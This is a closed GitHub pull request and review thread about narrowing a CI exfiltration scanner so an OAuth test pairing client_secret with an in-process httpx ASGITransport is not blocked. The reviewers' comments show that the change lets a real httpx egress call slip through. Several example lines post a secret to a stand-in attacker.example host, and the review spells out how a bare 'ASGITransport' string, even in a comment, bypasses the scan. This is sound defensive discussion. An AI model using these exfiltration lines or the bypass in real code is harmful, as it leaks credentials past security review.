Skip to content

fix(security-scan): do not block a secret-named source paired only with an in-process ASGI client - #3979

Closed
bdchatham wants to merge 6 commits into
omnigent-ai:mainfrom
bdchatham:fix/exfil-scan-in-process-asgi
Closed

fix(security-scan): do not block a secret-named source paired only with an in-process ASGI client#3979
bdchatham wants to merge 6 commits into
omnigent-ai:mainfrom
bdchatham:fix/exfil-scan-in-process-asgi

Conversation

@bdchatham

Copy link
Copy Markdown
Contributor

Related issue

None. Raising it directly because the trigger is a concrete false positive rather than a reported gap. See the motivation section below, which names my own PR as the reason.

Summary

exfil-scan.py blocks when a file's added lines contain both a secret-named credential source and a network sink. An integration test that exercises an OAuth grant satisfies both halves without adding any egress path, so it is blocked on shape alone.

Both halves, concretely:

  • The secret half matches [A-Z0-9]+_SECRET case-insensitively, so it fires on client_secret. RFC 6749 §2.3.1 defines that as the wire field name, so a test for a grant that consumes the field cannot avoid the identifier.
  • The sink half matches httpx., so it fires on httpx.ASGITransport. That transport dispatches a request into the in-process ASGI app object and opens no socket.

A secret-shaped constant and a client that cannot reach the network is not an exfiltration shape.

This is the same class the existing bare-ACCESS_TOKEN carve-out already handles, one field over. That comment reads:

No bare ACCESS_TOKEN: case-insensitively it matches common access_token OAuth/JSON fields and would block legit PRs.

client_secret is the same collision with the same cause.

Why the sink side rather than the secret side

Narrowing the secret term looked like the natural fix and is the wrong one. In a realistic case the matches include genuinely uppercase Python constants such as _CLIENT_SECRET and _COOKIE_SECRET, so a case-sensitivity change does not help, and real environment names like DATABRICKS_CLIENT_SECRET must keep matching. Weakening [A-Z0-9]+_SECRET would cost real detection.

So the httpx arm is split out, and when ASGITransport is present and no other sink is, the pair is reported as INFO instead of BLOCKING.

Downgraded, not suppressed

The finding still prints, as a ::warning, with a message naming what was inferred and asking the reviewer to confirm no real egress was added. Nothing becomes invisible; it stops gating CI.

The exemption cannot be used as cover

It applies only when the in-process client is the file's only sink. A real outbound call alongside ASGITransport still blocks:

_CLIENT_SECRET = "top-secret-machine-key"
transport = httpx.ASGITransport(app=app)
requests.post("https://attacker.example/collect", json={"s": _CLIENT_SECRET})   # still BLOCKING

test_secret_plus_asgi_and_a_real_sink_still_blocks asserts that, and I verified it is load-bearing by deleting the no-other-sink condition and watching only that test fail.

Motivation, stated plainly

This was prompted by #3977, a PR of mine that this shape blocks. I am raising it as a scan change rather than asking for a skip-security-scan label because the collision recurs for any test of a credential-bearing endpoint, and a waiver leaves the next contributor to rediscover it.

I recognise that a contributor proposing a change to the control currently blocking them deserves scepticism, so: the change is the narrowest I could find, it downgrades rather than suppresses, it ships with a test proving the exemption cannot launder a real sink, and the label path remains untouched. If you would rather keep the scan maximally blunt and handle these by label, I am happy for this to be closed. #3977 does not depend on it.

Test Plan

tests/scripts/test_exfil_scan.py    11 passed   (9 pre-existing, 2 added)

ruff check      All checks passed!
ruff format     clean
mypy            clean on the scanner

Also run against the real diff that prompted this. Before: blocking, exit 1. After: ::warning, exit 0.

The two added tests are the INFO case and the anti-laundering case. No pre-existing test was modified; git diff main..HEAD -- tests/ contains zero removed lines.

Demo

N/A, a CI script with no UI.

Type of change

  • Bug fix
  • Feature
  • UI / frontend change
  • Refactor / chore
  • Docs
  • Test / CI
  • Breaking change

Test coverage

  • Unit tests added / updated
  • Integration tests added / updated
  • E2E tests added / updated
  • Manual verification completed
  • Existing tests cover this change
  • Not applicable

Coverage notes

Manual verification was running the scanner against the diff that prompted this, before and after, plus the mutation check on the anti-laundering condition described above. The module docstring's BLOCKING/INFO description is updated too, since it enumerates the tiers and would otherwise describe behaviour the code no longer has.

Changelog

The exfil scan no longer blocks a secret-named source paired only with an in-process ASGI client, where ASGITransport opens no socket. Reported as an informational warning instead. A real network sink in the same file still blocks.

…th an in-process ASGI client

The exfil scan blocks when a file's added lines contain both a secret-named
credential source and a network sink. An integration test that exercises an
OAuth grant trips both halves without adding any egress path.

The secret half matches `[A-Z0-9]+_SECRET` case-insensitively, so it fires on
`client_secret`, which RFC 6749 section 2.3.1 defines as the wire field name.
A test for a grant that consumes that field cannot avoid the identifier. The
sink half matches `httpx.`, which fires on `httpx.ASGITransport`. That
transport dispatches a request into the in-process ASGI app object and opens
no socket, so there is nothing for the secret to leave through.

This is the same class the bare-ACCESS_TOKEN carve-out already addresses, one
field over: a case-insensitive secret term colliding with an ordinary OAuth
identifier. Narrowing the secret term further is not the fix here, because the
matches in a realistic case include genuinely uppercase Python constants and
real environment names like DATABRICKS_CLIENT_SECRET must keep matching.

So the sink side is narrowed instead: the httpx arm is split out, and when
`ASGITransport` is present and no other sink is, the pair is reported as INFO
rather than BLOCKING. Downgraded rather than suppressed, so the reviewer still
receives the annotation and the shape stays visible.

The exemption cannot be used as cover. It applies only when the in-process
client is the file's only sink, so adding a real outbound call alongside
`ASGITransport` still blocks. A test asserts that, and it fails if the
no-other-sink condition is removed.

Motivated by an auth test in a PR of my own that this shape blocked. Raising it
as a scan change rather than asking for a per-PR waiver, because the collision
recurs for any test of a credential-bearing endpoint and a waiver leaves the
next one to rediscover it. Happy to drop this if you would rather keep the
scan maximally blunt and handle the cases by label.

Signed-off-by: bdchatham <bdchatham@gmail.com>
@github-actions

github-actions Bot commented Aug 3, 2026

Copy link
Copy Markdown
Contributor

@bdchatham This PR is a Bug fix, Feature, or UI / frontend change but the Demo section is missing or only contains a placeholder.

These change types require a screenshot or screen recording so reviewers can see the new behaviour without checking out the branch. Please update the Demo section with:

  • A screenshot or screen recording of the change, or
  • A link to a hosted video or GIF showing the new behaviour.

Use N/A only when the change has no user-visible effect whatsoever (e.g. a pure refactor or test-only change). If that's the case, uncheck the relevant type box and check Refactor / chore or Test / CI instead.

@github-actions github-actions Bot added the needs-demo PR needs a demo screenshot or recording label Aug 3, 2026
@PattaraS PattaraS added the skip-security-scan Skip security gate label Aug 5, 2026
@PattaraS

PattaraS commented Aug 5, 2026

Copy link
Copy Markdown
Contributor

/review

@omnigent-ci

omnigent-ci Bot commented Aug 5, 2026

Copy link
Copy Markdown
Contributor

Polly AI Review

Blocking issues

The carve-out lets a real httpx egress sink bypass the scan — and the PR's own anti-laundering claim is false for httpx sinks.

The exemption downgrades to INFO when ASGITransport appears in the file and _NETWORK_EXCEPT_HTTPX (every sink except httpx.) does not match. Because the entire httpx. arm was moved out of the "other sinks" set, any real httpx egress call passes as long as the token ASGITransport appears somewhere in the same file's added lines. I verified this against the diff applied to the tree:

# tests/x.py  (added lines)
_CLIENT_SECRET = os.environ["DATABRICKS_CLIENT_SECRET"]
transport = httpx.ASGITransport(app=app)
httpx.post("https://attacker.example/collect", data=_CLIENT_SECRET)   # real egress

→ Result: ::warning ... confirm no real egress was added, exit 0 (previously BLOCKING).

It's worse than needing a real transport object: ASGITransport is matched as a bare substring with no anchoring, so even a comment unlocks the downgrade:

_CLIENT_SECRET = os.environ["DATABRICKS_CLIENT_SECRET"]
# uses httpx.ASGITransport elsewhere
httpx.post("https://attacker.example/collect", data=_CLIENT_SECRET)

exit 0. The trigger is fully attacker-controlled and trivially added to any file.

This directly contradicts the PR's central safety claim ("The exemption cannot be used as cover") and the boundary its "still BLOCKING" example promises. That claim holds only for requests-family sinks — and test_secret_plus_asgi_and_a_real_sink_still_blocks only exercises requests.post, so the test passes while the actual regression (an httpx.post/httpx.Client().post egress next to ASGITransport) goes completely uncovered. The one sink category that was split out is exactly the one the anti-laundering test does not test.

The correct shape for the exemption is "the file's only httpx usage is bound to an in-process transport," not "httpx is ignored entirely whenever the string ASGITransport is present." A minimally safer approach would require that no httpx egress-shaped call (httpx.get/post/put/patch/request/stream, httpx.Client, httpx.AsyncClient used to send) appears beyond the ASGITransport construction — i.e. the httpx matches must be accounted for by the transport, rather than suppressing the whole arm on a token match. As written, this weakens an existing security control on the highest-traffic sink in the repo.

Please either scope the downgrade so a genuine httpx egress call still blocks, and add a test asserting httpx.post(...) + ASGITransport + secret blocks, or handle #3977 via the existing skip-security-scan label path (which the PR notes remains untouched).

Security vulnerabilities

Covered above: this change weakens the secret-source + network-sink exfil boundary for all httpx-based egress whenever the attacker-controllable literal ASGITransport is present in the same file. Given the scanner's stated purpose (hard-fail on secret-read-piped-to-network in CI, which runs with the gateway token and GITHUB_TOKEN), this is a meaningful hole in a control, not merely a reviewer-aid nicety.

Non-blocking notes

  • The scan is explicitly documented as "defense-in-depth, NOT a guarantee," with maintainer review as the primary gate — so the practical blast radius is bounded by human review. That mitigates severity but does not excuse the PR shipping a test that asserts a property (no laundering) the code does not actually provide.
  • Consider whether the INFO downgrade should require the secret-named match to be a genuinely-uppercase constant (e.g. _CLIENT_SECRET) versus a wire field (client_secret). The motivation focuses on the client_secret field-name collision, but the exemption as written also covers uppercase real-secret constants, which is a broader relaxation than the stated case needs.

Summary

The intent (stop a false positive where a client_secret fixture pairs with an in-process ASGITransport client) is reasonable and the "downgrade, don't suppress" instinct is right. But the implementation removes the whole httpx. sink arm from the co-occurrence check and re-gates it on the bare, attacker-controllable substring ASGITransport, so any real httpx egress paired with a secret now passes CI. The PR's anti-laundering test only covers the requests path and therefore misses this exact regression, and the "cannot be used as cover" claim is false for httpx sinks. This should not merge until the exemption is narrowed to genuinely in-process-only httpx usage (with a blocking test for the httpx.post + ASGITransport + secret case), or the underlying PR is unblocked via the existing label path instead.


Automated review by Polly · workflow run

@PattaraS

PattaraS commented Aug 5, 2026

Copy link
Copy Markdown
Contributor

Hi @bdchatham, thanks for the PR. For this Github action, we would okay with false positives as long as it covers real cases. Reducing false positives is good, but we wouldn't want to expose more holes. In case you are blocked, feel free to ping maintainers to apply a label for you.

I found one case where the carve-out can hide a real outbound sink from the same library:

_CLIENT_SECRET = "top-secret-machine-key"
transport = httpx.ASGITransport(app=app)
httpx.post(
    "https://attacker.example/collect",
    json={"s": _CLIENT_SECRET},
)

With these as added lines, scan_diff() currently returns no blocking findings and only the in-process-ASGI warning:

([], [("tests/test_bypass.py", "secret-named source + in-process ASGI client ...")])

The issue is that in_process_only checks _NETWORK_EXCEPT_HTTPX, which excludes every httpx. call—not just ASGITransport. So the existing real-sink regression test passes for requests.post, but an httpx.post/get/request sink is downgraded.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

needs-demo PR needs a demo screenshot or recording size/M Pull request size: M skip-security-scan Skip security gate waiting-on-author

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants